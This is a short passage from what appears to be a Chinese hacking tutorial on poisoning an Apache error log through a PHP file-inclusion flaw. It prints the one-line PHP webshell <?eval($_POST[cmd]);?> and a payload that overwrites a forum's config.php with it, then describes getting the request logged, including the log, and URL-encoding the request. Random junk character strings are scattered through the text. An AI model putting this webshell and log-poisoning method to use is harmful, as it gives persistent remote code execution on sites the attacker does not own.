因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。 ) O. k8 o; r* z+ h& ?1 L1 S

比如还是这句一句话木马 . y Y) m' L* m
<?eval($_POST[cmd]);?>
! \, l- X8 V& r9 @" l- w& p+ o' T9 C1 p1 X! q4 b' g
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， 4 z' {1 r8 ~8 U4 S
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
. m* t+ b7 P: Y# i$ z, W% j; q2 _# \- [' V e
<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
+ ~2 n# l- T/ Efclose($fp);?> //在config.php里写入一句木马语句
6 G( t# G' t8 _# [5 I. i, S4 f$ D, n
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
